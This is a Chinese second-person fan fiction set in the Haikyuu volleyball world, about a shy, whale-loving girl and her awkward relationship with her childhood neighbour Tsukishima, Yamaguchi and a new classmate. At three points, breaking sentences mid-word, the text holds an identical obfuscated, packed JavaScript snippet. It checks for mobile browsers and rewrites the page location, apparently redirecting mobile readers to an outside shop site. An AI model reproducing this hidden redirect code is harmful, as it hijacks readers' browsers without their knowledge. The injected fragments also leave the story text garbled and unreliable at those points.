《[排球]怎么可能喜欢他》
1. 雪村
人类有比鲸鱼更为复杂的语言体系,但不总是优势。
·
开学第一天,你没有参加社团活动,跟后桌的小松美里交换完联系方式后,就独自回家了。
到家后的第一件事不是放下书包,而是把冰箱里的蔬菜和肉类拿出来准备好,等妈妈回来下厨——你试过帮她,被拒绝了,避免厨房成为你对食材犯下虐待罪的作案现场。
做完这一切,你回到房间,打开投影仪,关灯播放着看了无数次的纪录片,整个房间陷入一片深蓝。
你坐到书桌边,伴随着音响传出的海浪声与鲸鸣,借着台灯的光翻看起了最新一期的海洋科普杂志。
社团申请表被你压在作业底下,作业你在课间就写完了,一边跟美里聊天一边写完的,因为主要是她在说,你在听。
美里的话信息含量很低,比喻成海水的含盐量,会把海鱼活活养死。
在她滔滔不绝的信息输出中,你提炼出几个要点:
第一,她觉得你漂亮,很多人跟你搭讪但只有她成功了,没有别的秘笈,因为只有她没被你冷淡的回应劝退。
第二,坐你前面的月岛很高,你上课可以睡觉看漫画开小差,你运气真好。
第三,欸你国中在哪念的?同班的山口好像跟你很熟还是他是自来熟,说起来他自我介绍提到的学校跟月岛好像是同一所来着,所以你呢?
只有最后一点是个问句,所以你回答了。
“嗯。”
然后她说——
“你嗯什么?”
她一脸莫名其妙。
你愣了一下,停下不断运作的笔尖,一边说,一边埋头继续:
“我国中也在那所学校。”
她眨了眨眼,冒出一个泡:“哦。”
这是小松美里今天说过的最短的一句话。
会不会在心里觉得你瞧不起人。
你不自觉攥紧了手中的钢笔,笔盖顶端有一只喷着气的鲸鱼,忍不住用指腹抵上,微微的按压带来的挤压感让紧张有所缓解。
但不多。
第四。
“你好安静啊,话也好少,跟我完全不一样,你觉不觉得我很烦?”
所有问题里,你最怕的类型出现了——
你喜欢我吗?你讨厌我吗?可不可以和我交往?你好可爱啊能不能跟你做朋友?
因为你总是回答不好。
直到你掌握诀窍。
既然用语言回答不好,那就用行动。
你抿了抿唇,转过去,用力摇头。
你发量很多,天生的自然卷,讨厌束缚感所以不喜欢扎发,结果就是当你做这个动作的时候,桌面上那些自重不足的物件就会被发尾扫走——
小松美里看到了,刚刚被你握在手里的钢笔正急速向地面滚落——
你以为她没理解你的意思,情急之下,补上一句:
“不会。”
她看到了一些有意思的东西,但面上不显,视线不动声色的移回你身上,托着下巴的手背放回桌面:
“不会什么?”
“不会觉得你烦。”
她笑了。
“那我们就是朋友了,叫我美里吧。”
“美里。”终于能换词了,你松了口气。
“我想想该怎么叫你...”
你张了张嘴,想说如果觉得姓氏读音太长,叫你小雪(yuki)就好了。
她却先你一步开口:
“凉子?(ryo ko)”
“好。”
她点点头,约定达成。
但她的嘴还不肯放过你...还有坐在前面被迫听完全程的月岛。
还有并非被迫,而是出于对两位发小的关心以至于殚精竭虑的看完了全程几次心都提到了嗓子眼的山口。
美里的嘴和你跟月岛的耳朵以及山口的心脏都没有休息到第十六秒。
“凉子你说班会课会不会...”
以上省略一百五十字。
尽管已经在心里省略了,但你还是面对着她听她说完才转回去的,当你回到自己的桌面,钢笔躺在摊开的课本中间的凹槽处。
完好无损。
·
开学第一天,你交到了朋友,没跟任何人闹别扭,也没有被国语老师点名回答问题,堪称完美开局。
时针指向六点,你下楼,妈妈正好进门。
她朝你展示手中的高级便当盒。
“豪华寿司。”她扬起一个大大的笑脸,和你同款的白色长发被拉直后垂在脑后。
妈妈,很擅长打猎。
但不擅长记东西。
“菜已经备好了。”
说完,你又开始懊恼。
是不是应该先说你很高兴能吃豪华寿司。
一看到你皱巴巴的脸,她就知道你老毛病又犯了,“没关系啦,用来做明天的便当好了。”
你点点头,兴冲冲跑过去接过两人份的寿司便当。
等她换上家居服,你们在餐桌坐下。
“开学第一天过的怎么样?”
“还行。”
很好,简直不能更好了。
“话说,阿月不是也去乌野了吗?还有那个,经常跟他一起玩的,跟你们是初中同学——”
她一时没想起来。
“小忠。”
“对对对——他也在乌野吗?”
“嗯。”
“那你们有没有分在一个班?”
“嗯。”
“哇,那很不错欸,你跟阿月说话了吗?”
你筷子一顿。
为什么要跟他说话,你跟他没那么熟,很小就认识的孩子长大以后关系不一定就会变好。
“没有。”
“哦...”她看上去很失望,“没事,时间久了,自然就亲近了。”
不会。
初中的时候她也是这么说的,但三年下来,你跟月岛还是不熟。
不过你跟山口的关系倒是不错,不错的标准是哪怕身边没有大人你们也会打招呼,偶尔他跟你搭话,也能聊上两句。
但跟你没关系,是山口的社交水平在发挥作用,你是沾他的光。
用过晚餐,你跟妈妈坐在一楼的沙发上看着电视,今天是奇数日,你陪她看她看的津津有味而你根本看不懂的电影。
有人按门铃。
妈妈看的太入神,没听见,你轻轻圾拉着拖鞋,蹑手蹑脚去开门。
“打扰...”
月岛没想到开门的人是你。
你也没想到门外的人是他。
不过也没那么难想吧,自从月岛明光去上大学,两家人之间互送礼物联络邻居情谊的任务就落到他头上了。
“伴手礼。”他用词简短。
你知道原因。
“谢谢,呃.
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976379|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
..等一下。”
说完,你抱着从他手中接过的礼盒,回到客厅,电影已经放完了,妈妈看到你手里的东西,猜到了什么,朝门口望去——
“阿月?”
“是,打扰了,雪村阿姨。”
你光顾着去找回礼,没注意到妈妈已经去了玄关,还想把人请进来。
月岛没打算进来,他只负责把东西送到,送到你手上最好,因为你根本不会跟他多说一句话,这样任务能最快结束。
但你不知道在搞什么,把他一个人丢在门口就算了,话还说的不明不白,他又不好直接走人。
更不幸的是,他还被你妈妈这个一点社交技能点都没分给你的人发现了。
“阿月辛苦你来送东西了,进来坐坐吧。”
她了解自家女儿,都不用问就猜到你急急忙忙是去干嘛了,肯定是在找给月岛的回礼。
“我就不打扰...”
话还没说完,就看到你在身后冒头,为了越过站在门口的妈妈,走到门边。
他是因为觉得突然后退太失礼才站在原地不动的。
但他没想过会因为突然拉近的距离,闻到你身上还没来得及消散的沐浴留香。
他下意识皱眉。
你看到了,咬了咬舌尖,尴尬地想在玄关挖个洞把自己埋了。
“回礼...”你声音很闷,还很小,蚊子似的,存在感还没你那些不知分寸的香气来的强烈。
当看到他双手接过时,你扶着门框,后退两步,抛下一句我去写作业,就落荒而逃。
你没意识到这个借口有多拙劣。
他早就知道你已经把作业写完了。
在你跟小松美里聊天,差点把最喜欢的钢笔碰掉的时候。
他也不是故意看你作业的,但把被扫到桌边的钢笔放回去的时候,不小心瞄到一眼,也怪不了他吧。
月岛离开以后,过了很久,你都没有从房间出来。
你隔着两片窗帘之间的缝隙,看到他提着点心盒,向隔壁走去,因为角度的问题,你看不见他脸上的表情。
不知道看在草莓曲奇的份上,能不能别太计较你刚才的失误。
可你想起他紧绷的神情,又想到月岛不是那么好收买的家伙,再次为自己的莽撞感到懊恼。
话说不好就算了,做事怎么也这么冒失了。
越长大越回去了啊。
心烦意乱又无奈,但除了徒增烦恼,没有任何意义。
你决定给自己找点事做。
转身回到书桌,抽出被压在作业底下的社团申请表,对着乌野的介绍手册仔细研究了起来。
一个翻页,注意力就被排球部的宣传夺走了,明明排球部一看就跟你毫无瓜葛。
·
第二天上学的时候,你听见路边的学生讨论教导主任的假发被人一把摘掉的事情。
你大惊失色,谁啊胆子这么大。
他敢做你都不敢听。
“早上好,小雪。”
惊吓还没消失,你就受到另一重惊吓。
看到你身形一震,山口抱歉的笑了笑,快步走到你身边:
“抱歉,好像吓到你了。”
“没事,早上好,小忠。”
转头你又看见另一个人。
那么问题来了。
月岛就在旁边,要不要单独跟他打招呼。
你陷入纠结。
2. 月岛
六岁那年,你和妈妈从东京搬到了宫城县的外婆家。
你们是开车来的。妈妈开车,你独自坐在后排的儿童座椅上,后备箱里是你和她两个人的行李,没有爸爸的那份。
因为他选择和别人生活在一起,而不是你们。
跟所有大人一样,妈妈担心你会很难过,或者在学校里被坏孩子欺负。
你不理解。
你觉得妈妈可能是忘了,不是所有孩子都必须跟爸爸妈妈生活在一起的。
比如虎鲸,就有只跟妈妈一起或者外婆一起生活的孩子,就像你们现在这样。
正在开车的妈妈说:
“小雪说的对。”
当天晚上你、妈妈还有外婆,把虎鲸的故事又看了一遍,第二天妈妈告诉你,你们要去跟这片海域的原住民打招呼了。
她还说隔壁也有一只跟你一样大的小鲸鱼。
人和鱼你还是分得清的,昨天车上的那番对话只是一种举例。
和虎鲸一样,人在交朋友的时候也会带上礼物。
妈妈想跟邻居们交朋友,后备箱里有一部分行李,就是为此准备的。
“我也要跟他们交朋友吗?”
你有些为难,这不是你擅长的事情。
“不用,按你自己喜欢的来就好。”
你松了口气,抱紧手里的座头鲸玩偶,是你在海洋馆购入的玩具之一。
·
次日上午,你躲在妈妈身后,等她敲门,又等这一家的主人开门。
开门的是个男孩,个子比你高,看到你们...好吧他没有看到你,你躲得太好了,他只看到了带着见面礼的妈妈。
妈妈说明了来意,他回头跟屋内的人说了点什么,然后他家的大人就出来了,再然后,你就跟在妈妈身后,进入了这间房子。
他看到你的时候被你吓了一跳,你也被他吓了一跳,不小心把妈妈的裙摆拽的更紧了。
而她也终于想起可以把你介绍给这个孩子:
“这是我的女儿,雪村凉子,叫她小雪就好了,她有点害羞哦。”
母亲带着香气的手抚摸你的额头,这个动作让你感到安心一点,在你看来、好奇的打量着你的男孩——此时也没那么可怕了。
说起来,你本来也不害怕那些巨大的生物,相反,你对它们格外感兴趣,用妈妈的话来说,简直到了痴迷的程度,最大的例证就是你平均每两周就要去一次的海洋馆和博物馆的恐龙区。
但他也没有那么大,最多是动物园里的那些,比如长颈鹿之类的。
“我是月岛明光,你好啊,小雪。”
他一定吃草。
这是你对月岛明光的第一印象。
但你没说这个,你只说了声你好,像是对他没有特别的兴趣,你还偏过了头,看向一边。
这是你的弱点,你不知道该怎么把心里的话说出来,以前总是说错,后来就不怎么说了。
这个弱点,你暂时还不打算改。
你以为他会生气,或从此以后不再理你,但他没有,反而问你要不要跟他一起去玩。
你不愿意来着。
你甚至想躲到妈妈的裙子底下,直到妈妈交到朋友,心满意足的带着你回家。
但这个你也说不好,他试探着摸了摸你的头,你没来得及闪避,他就误会成了别的意思,以为你愿意跟他一起去玩,把社交场合留给大人。
而后他朝你伸手,你以为这是要握手,有点犹豫,但还是选择礼貌,结果就是被牵走了。
妈妈都有些惊讶,但在你回头、恋恋不舍的眼神求助中,她笑的很欣慰。
你默默把头转了回去。
“...玩什么?”你很少跟人主动搭话。
“啊?呃、小雪你喜欢什么?”
你想了想,说:“鲸鱼、鲨鱼、恐龙...”
“你也喜欢恐龙啊。”
“也?”你歪头重复。
他带你去了他的房间,开门后映入眼帘的书桌旁边是摆了三排恐龙模型的展示架。
这个年纪的孩子有了共同话题后,距离就能很快拉近,更何况月岛明光第一眼见到你的时候,就展现出毫无疑问的长男力。
但模型终究只是观赏品,借此维持的交流回合结束后,月岛明光想了想,又开启了新的话题:
“你喜欢看书吗?”
因为你很安静,所以他觉得你可能对书籍绘画之类的活动更感兴趣。
你点点头,“有大鲸鱼、大鲨鱼、大恐龙…大象的书。”
这次你多说了一个。
这种书家里也有几本,但都放在弟弟的房间,而他还没回来,不好带你去他的房间。
“那画画?”他绞尽脑汁,又挤出一个问题。
“嗯。”你没话说的时候,就会说这个字,作为习惯留了很多年。
他松了口气,找出画笔和画纸,终于给你找到点事做了。
至于他自己,在问完你的意见后,就坐在书桌边,写起了作业。
你乖乖趴在房间中央的的矮几上,用蜡笔在白纸上消磨时间。
中途他背过身来,趴在椅背上,问你会不会觉得无聊。
你都是摇头。
过了一会,有人敲门。
已经专注于作业的男孩自然没有听见。
你画的心不在焉,等敲门声再响,就放下画笔,垫着脚开了门。
“哥…你是谁?”
这是你跟月岛的第一次见面。
他第一反应是奇怪,很快想到楼下看见的女人和父母的叮嘱。
好像知道是谁了。
“萤,啊…抱歉,我没听见,是小雪帮你开的门吗?”
月岛迟疑的点了点头,而后继续好奇的低头看你,其实是在等你做自我介绍。
“雪村…凉子。”你不知道从什么时候开始,已经躲到了月岛明光的身后。
这让月岛萤有些不爽,但看你一副说话都费劲的样子,决定不跟你一般见识。
胆子好小,声音也好小。
“月岛萤。”他回答的很干脆。
月岛明光敏锐的察觉到气氛有些不太对劲,转头看见你画的画,双手提起,举到你们两人之间——
“小雪很喜欢恐龙呢。”
你扭头不看自己的画,没有附和,但画上用色和轮廓都相当准确的描绘却代替你说明了一切。
猜到哥哥的意思,小时候的月岛也还没那么别扭,于是他说——
“...要看吗?恐龙图鉴。”
你快速眨了眨眼。
月岛看见了。
但没拆穿你其实很感兴趣的内心,他只是认真看了看你的画:
“但是没有…”
他没认出来?
听到月岛迟疑的语气,你在心里小小的得意了一下,又小小的有些瞧不起他,但很快又不这么想了,你觉得自己好坏,他邀请你去看他的藏书,你却在心里说他的坏话。
你决定替他解围,说:
“易碎双腔龙”“易碎双腔龙”
你震惊的看向月岛,直白的毫不掩饰,看的他默默别过头,若无其事的看向一边,不再看你。
反应最大的反而是月岛明光,他低头看了看手上的画:
“嗯?上面有写吗?”
·
月岛明光继续在书桌前完成最后的作业,你则跟在跟你同龄的月岛萤身后,转移阵地。
他不是热衷交友的类型,更没有那种与生俱来的自己就该照顾弱小的责任意识,他只是下意识替大哥接过了礼待客人的任务。
这种感觉倒是还不错,连带着对你也多了几分耐心。
进去以后,你和他盘腿坐在地毯上,你小心翼翼的用手撑着地面,探出脑袋去看月岛摊在膝上的恐龙图鉴,嘴巴闭成一条直线,下巴绷的紧紧的,眼睛瞪大了,像是要把那些图片装进去似的。
月岛其实想过干脆把书给你,因为他已经看过无数遍了,看没看完都无所谓。
只是每当他试探着看向你你,希望你能察觉到他的眼神信号时,你都毫无反应。
但当他停止翻页时,你又会抬头看他,通透到近乎空洞的蓝色玻璃珠里,仿佛装着些许疑惑。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976380|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>月岛萤最终放弃了刚才的打算,一边翻页,一边漫不经心的开口:
“为什么是易碎双腔龙。”
这个年纪的小孩子喜欢恐龙不少见,但作为恐龙,易碎双腔龙战斗力不够强悍、也没有特殊智慧、更没有独特的器官,哪怕是长长的脖子也有腕龙、梁龙作为替代,而从形体上来说,后者还优美不少。
你很少有能直接说出内心想法的时候,现在这种场合算是为数不多的例外。
“因为很大。”
月岛萤没忍住笑,他还记得你刚才拧门把手开门都快要跌倒的样子。
他不是在嘲笑你,但心思敏感的人也许会误会。
好在你彼时尚且年幼的心灵还没生出过于敏感的触须,虽然不懂他在笑什么,但也没有生气,而是继续去看月岛那些摆放在展示架上的收藏。
月岛萤难得有些不好意思,尤其你这个当事人还一点反应没有。
他想说点什么转移话题,却听见你突然大声——以你的标准来看的确是大声:
“独角鲸。”
“只要是大体型的动物就都喜欢吗。”
你点点头,又陷入安静。
“蓝鲸。”他突然说,蓝鲸是大型鲸类的代表。
“不是…最近比较喜欢虎鲸。”你却否认。
“为什么?”
居然猜错了。
“昨天跟妈妈一起看了虎鲸的故事。”不涉及心情的谈话你其实还是能顺利进行的。
“童话书?”
“不是,是电视。”纪录片的名词你一时没想起来,你语文很差,“secrets of the whales.”
最后你说了那部纪录片的名字。
·
回家的时候,妈妈留意着你的状态,见你神色如常,才彻底放心。
但在帮你换下小皮鞋的时候,她才注意到你抱在怀里的,小小的照片。
她好奇的看着你,你察觉到了,下巴藏在毛茸茸的领子里,声音透过一簇一簇的白色绒毛钻出:
“虎鲸。”
“明光送你的吗?”
你摇了摇头。
“月岛。”
·
“月岛。”
呃…声音是不是太小了点。
但是再叫一次也…明显山口已经听到了啊。
犹豫间,你听见一声不大不小的回应—
“早上好。”
你感觉那个堵在气孔的泡泡被谁轻轻戳破,呼吸又变得自然畅快,甚至还有欢快的水柱从顶点喷出。
他没说名字,但是这里只有你们三个人,他跟山口是一起来的,说不说都无关紧要了。
只是这时你突然意识到,月岛好像很少叫你名字。
别说哥哥一样叫你小雪,从小学一直叫到现在,就连‘雪村’这两个字你都很少从他嘴中听到。
随着一声失落的鲸鸣,美丽而静谧的巨物悄然下潜,水柱连同气孔一起,被海面淹没。
一切起伏都只是寻常。
跟早有去处的山口和月岛不同,你的社团申请表依旧是空的,小松美里的也是。
因为有了小松美里这个先例,原本放弃的人又围了上来,都是你从小听到大的、针对外貌的夸赞,他们你一言我一语、根本不需要你回应,可话题又始终围绕在你身上的谈话节奏,还是让你有些晕头转向。
小松美里这个时候正好不在,不仅如此,她的位置还被人坐了,你甚至察觉到有人在把玩你的头发。
其实她有‘征询’过你的意见,但因为方式不够明确,又因为其他人的插嘴,所以你没有及时拒绝,被她当成了默认。
“不是混血。”
“没兴趣。”
虽然手脚没有动作,但你还是感到一种手忙脚乱的无措。
你穿过校服之间的空隙向教室前方看去,想求救,结果发现连山口都不在座位上。
原本不打算一开学就把自己跟同班同学都关系搞僵的,但没办法了。
“别再——”
“啊,吵死了。”
是月岛。
3. 山口
月岛的声音比你小,但配合他戴上耳机的动作,哪怕是一时没听清的人也猜到他说了什么。
离他最近的几个最先闭嘴,悻悻然离开了。
坐在你后面的女生见状不妙,也打算走人,你就在这时抽回她还握在手中的最后一个小卷。
“我没同意。”怕她不能完全理解,你还补上一句:“你玩我头发。”
你想说点狠话,但只有语气比较僵硬,典型的实力配不上野心。
月岛听出来了,他的耳机里什么也没放。
这点进步也来之不易。
“抱歉,我以为..抱歉!”
她意识到自己的行为不妥,连声跟你道歉。
月岛眼神平静,垂眼看着摊开在课桌上的书本,一如既往的沉默。
你忍住了,没说原谅的话。
女生自觉不好意思,也就这么走了。
过了一会才从外面回来的小松美里完全不知道发生了什么,而你这时终于品出一点她的好了。
你转过身,放了两软糖在她桌上。
蓝白相间的鲸鱼q弹可爱,口感也是如此,但表面酸到能让人头脑清醒一整节数学课的酸砂却暗藏杀机。
“给我的?谢谢你,不过我好像…有了。”
小松美里一边道谢,一边从口袋里摸出一根发圈。
你盯着它看了半天,很想拒绝,但你当然知道自己怎么说都该收下,哪怕你不用。
你一边道谢,一边伸手——
“啊,你是不是不喜欢扎头发。”
你眼睛一亮,但又想到这是她翻遍口袋才找出来的回礼,最后只是说:“还好。”
可她的掌心却没有再次张开。
而是反手撑在桌子上,人也随之站起:
“决定了,我要用请客来报答你。”
你表情复杂。
没必要吧,两粒软糖而已,单价double再double也买不到小卖部最便宜的商品。
可她都站起来了。
想到这里,你合上写到一半的作业,把圆珠笔收入蓝鲸形状的笔袋,一副随时准备出发的样子。
“走!”
小松美里很有精神的先走一步,你默默跟上。
走到门口的时候,山口也正要进教室,对于你离开座位的举动他有些惊讶,而在看到你紧跟小松美里的行动后,惊讶变为担心。
“小雪、小松同学。”
他没说什么,但你们都停了下来,你猜到他在担心什么,主动解释:
“我们去一楼的小卖部。”
‘我们’…你的用词让山口微微有些发愣。
“我请客,因为凉子给我的糖。”
小松美里象征性的补上一句。
你以为山口之所以还留在这里不走,是另有原因。
你摸了摸口袋,又拿出两颗软糖。
“小忠,给你。”
你摊开手心,他看了你一眼,默默接过,但没有拆开,只是放进口袋。
“我正好也要去一趟小卖部,可以跟你们一起吗?”
他看着你,眼睛一眨不眨,让你看出一点紧张。
“嗯。”你点点头。
“我也没问题。”小松美里也表示同意。
原本打算回教室的山口就这样和你们一起朝外走去。
只是在经过教室和走廊之间的窗户时,他突然朝内看了一眼。
月岛还在看书。
山口收回视线,继续听你和小松美里有一搭没一搭的聊天,主要是她在说,你找准时机补上一个“嗯”“对”“不对”作为逗号。
月岛始终没有摘下耳机。
·
“欸…所以那两个人是排球部的?打掉教导主任假发的人?还是一年级!”
一年级就闯出这么大的祸!
你发出小松美里同款震惊,不同的是你没有出声,只是感同身受的绷紧一张小脸,眼睛瞪的比平时更大。
不知为何,山口原本流畅的回应变得有些磕绊:“虽然都在排球部,但我知道的也只有这些,到现在还、还没见过那两个人呢。”
小松美里有些失望,你神色如常,看不出什么心理活动。??
临近中午,小卖部已经开始有面包供应了,但你还有妈妈准备的便当,即便被面包的香气勾的耸了耸鼻子,还是别过脑袋,转而看向一边小卖部特供的牛奶。
原味和香蕉味的牛奶还有很多,可能是因为自动贩卖机也有卖同类商品,只有小卖部才能买到的草莓牛奶只剩下最后一盒。
幸运的是,排到你们的时候最后一盒草莓牛奶还没有被人买走。
“你要什么?”小松美里转过头来问你。
你刚打算开口,突然听见身后有人说——
“啊,又只剩最后一盒了,昨天也是这样…算了,回去吧,放学去便利店买好了。”
“说不定前面的人不要呢?”
最先开始抱怨的女生没有说话,也没提走人的事。
“凉子?”
小松美里奇怪的看了你一眼,她没听见那两个人的对话,她们不是故意教前面的人听到的,只是普通的交谈。
你其实也没那么喜欢草莓牛奶。
“香蕉牛奶。”
你说。
小松美里跟售货亭里的人重复,拿到东西后你们就先走到一边,等山口买完再一起回去。
拿到黄色包装的牛奶,你开始后悔。
不是牛奶的问题,是你自己。
你后悔选择放弃你想要的口味,去迁就一个根本不认识的人。
有人会说这是善良,但你把这归结于你的老毛病。
嘴跟心长反了。
见你捏着吸管不动,小松美里问:
“你不喜欢这个?”
你以为她的潜台词是不喜欢为什么还要买。
“没有。”然后拆开吸管,紧接着就要用行动证明。
就在这时,山口走了过来。
“小雪。”
你抬头看向他,插吸管的动作一顿。
“卖东西的人好像拿错了…可以跟你换吗?”
他指了指你手中的香蕉牛奶,而后,将自己手中草莓牛奶提到空中——
“我选的,本来是你这个来着。”
小松美里眯了眯眼,发现事情不太对劲,但她还需要更多证据,在此之前不能打草惊蛇,哪条都不能。
你看了看他手中的草莓牛奶,也有点怀疑。
既然连你都听得见那两个人的对话,站在你身后的山口肯定也听得见。
但是他又说是售货亭的人拿错了…
应该是你想多了。
“嗯。”
你把手中完好无损的香蕉牛奶递过去,接住山口放在你手心的草莓牛奶。
然后毫不犹豫的把吸管插进塑封口,嘴角随着吮吸的力度微微上扬。
果然还是草莓牛奶好喝。
回到教室,班会课很快就开始了,因为刚开学,还有很多班级事宜要借着这个机会敲定,其中就包括竞选各种委员的工作。
说是竞选,实际上大部分岗位的决定流程基本是学生之间互相推荐或者老师选择印象中比较合适的人选,最后象征性的询问其他人的反对意见,不出意外的话就这样决定下来。
竞争反而很少发生。
你对此没有兴趣,更不擅长,担心像初中时那样被点到,悄悄下潜,趴伏在桌子上,脸颊贴着桌面。
坐在前面的人默不作声的往后靠了靠,身形完全挡住你的存在。
角度问题使你对此一无所知。
但有些东西是无法因为本人不在视线范围内,就被人忽略的。
“学习委员的话…雪村同学怎么样?我们的第一名?”
年轻的女老师笑着说,嗓音温和。
在视
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976381|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
线向你汇集之前,你就自觉坐好了。
你还没有强大到能通过控分消除自己的存在感,那是超能力者才能办到的事情,你也不是什么天才,所以不存在在入学考试上故意做错题的可能性。
你认真答题,按时交卷,幸运又不幸的考了第一。
如果还要再找个理由,那就是自私。
你不想把太多时间专门花在帮助老师、同学身上,每天在学校写完作业,也只是为了回家能多看会纪录片和杂志,而不是因为你真的有多喜欢学习。
而且如果要负责班级事务,就有很多麻烦事找上你,对了,还要负责跟不同科目的老师,班上的同学沟通。
天呐,沟通。
你不排斥与人交流,但喜欢做自己不擅长的事的人很少,那里面也没有你。
好像沉默太久了,四周响起窸窸窣窣的议论声。
“抱歉老师,我不想。”
教室里顿时安静。
老师也愣了愣,倒不是因为你的拒绝,而是没想到你居然一点借口也不找,干脆就是不想。
她担心你会在同学们心中留下不好的印象。
“啊…这样,没关系,那有愿意担任学习委员的同学吗?”
“我想当学习委员,水谷老师。”
是坐在你身后的小松美里。
之后就是你熟悉的流程了,没有人表示反对,小松美里成功当选。
班会课结束以后,你在位置上收拾东西,月岛也还没走,山口动作比你们都快,他已经走到你和月岛的座位之间。
他意外的发现你心情不错,他还以为被老师像初中一样点到名,会让你想起不好的事情。
是的,同样的状况初中的时候也发生过,那时你也选择了拒绝。
但那位老师对你生硬的拒绝理由不太满意,觉得你在找茬,或者故意做出一些和旁人不同的举动吸引注意,在听到你说不愿意之后,他阴阳怪气的重复了好几遍,之后在他负责的课堂上,屡屡用刁钻的问题为难你。
好在他公报私仇的行为后来被人发现,据说是因为他在其他班也借用教学的名义故意羞辱那些惹他不高兴的学生,结果有一次正好被路过的校长看见。
再然后,你们的班主任就换人了。
因为有初中的先例,山口还担心你会违背自己意愿选择接受,没想到你还是拒绝,连说词都没变。
还好水谷老师是个好人。
“小雪要回去了吗?”
难得看你高兴,山口忍不住跟你多说两句,在你走之前。
“嗯。”你点点头,也是因为高兴,这次还有来有回的问回去:“小忠要去排球部了吗?”
说完,你意识到自己好像漏了一个人。
但是…应该没事吧,他又没跟你说话,你自作主张带上他才奇怪呢。
月岛站起身,像是准备走了。
“嗯、嗯!那我和阿月先走了。”
山口朝你挥挥手,月岛没有说话。
他其实不是话很少的类型,你一直都知道,只是在很多人看来,月岛这个人说话不仅不留情面,偶尔还会尖锐刺耳到让人替听话的人捏一把汗。
但就算是难听的话,月岛也没对你说过。
归根结底,还是因为不熟。
月岛也不是随便谁都会刺上两句的,他不是喜欢找茬的性格,只是更愿意说自己想说的话,而他很多时候不想跟你说话。
你虽然嘴跟心没长到一处,但眼睛还是很会看人脸色的,而且和会被误认为是木楞性格的外表不同,你内心戏其实很多,你完全知道怎样才能不得罪人。
这样的你和他就像两块磁场不合的磁铁,连碰撞都不会有。
就在你准备等他们走出教室再自己回家的时候,小松美里突然开口了:
“照理说你们三个都是初中同学,怎么只有凉子跟月岛看上去完全不熟?”
“吵架了吗?”
4. 不高兴
“同学关系也在学习委员的负责范围之内吗?”
月岛是笑着说的,语气满是调侃,乍一听还以为是在和熟人开玩笑。
但结合内容,就知道并非如此。
“嗯?跟这个有什么关系?”
可是小松美里不知是真的没听懂,还是故意装傻,完全不接茬。
“啊我知道了,你生气了。”
然后不等月岛反驳——
“那我不问你了,凉子,你说说看。”
“呃?”你不知道火是怎么烧到自己身上的,但你觉得她应该没有恶意。
可这也改变不了小松美里的问题让你感到为难的事实。
“小松同学,不是你想的那样的,他们两个一直——”
“山口,没听见她要听谁说吗?”
月岛突然打断山口试图缓和气氛的话。
但这话听起来,一时还真不知道是在针对谁。
小松美里对此毫无反应,继续看着你。
她在心里默数,五秒后你再不说话,她就随便找个理由把话题推开。
五。
四。
三。
“没有…吵架吧?”
你歪了歪头,语气和动作透露出你对答案的不确定。
毕竟有没有吵架这种事情,一个人说了是不算的。
小松美里眉头一皱,似乎还想说点什么,却听见月岛又用那种听着就让人火大的语气说:
“不会要我们写保证书吧?好可怕。”
“那倒不用了。”
此刻你确信了,小松美里是拥有挑衅绝对免疫的女人。
月岛和山口离开了,临走前,山口有些担心的看了你一眼。
你很熟悉这种眼神,但你没有告诉过他,你不喜欢这样。
因为你知道这是他的好意。
“你放学以后干嘛?”
小松美里又是若无其事的跟你搭话。
“回家,切菜,看杂志,看电视。”
“呜哇,好详细。所以你对社团完全没兴趣?”
“嗯。”
“诶…其实我还挺想去看看的,放学以后直接回家的人…有种无所事事的感觉。”
你突然中箭。
起身的动作一顿。
好在很快从僵直状态中恢复,临走前也装作什么也没听见似的,轻声说:
“再见。”
“哦,再见。”
·
月岛和山口在打排球,你很早就知道了。
但更早的时候,打排球的人只有月岛的哥哥。
月岛很喜欢他哥哥,你完全理解,因为你也喜欢那个一见面就对你释放善意的人,哪怕是略显笨拙的善意。
每次去月岛家做客,你也习惯做一条跟在月岛明光身后的小尾巴,有时候他会带你和月岛一起出去。
但如果月岛明光对你表现出特别照顾,月岛也会不满。
但他不会说,只是“嘁”的一声别开视线,不再看你被月岛明光紧紧牵住的手。
尽管那个时候你还在上小学,但次数多了,你也渐渐明白过来。
你会找机会松开月岛明光的手,再悄悄绕到一边,不能走太远,会让人担心,于是你的选择只剩下月岛身边的位置。
结果最后是他被夹在中间。
“关系真好呢。”
月岛明光不仅不介意,还笑着打趣。
月岛不知道你为什么突然绕到他旁边,要知道没有月岛明光在的话,你都不会主动跟他说话。
虽然他要是跟你说话,你也不至于不理人。
但比较起来,怎么看你都是跟月岛明光更亲近的。
探究的眼神持续落在头顶,你却一直低头看路,没有回应。
随便她好了。
月岛心想。
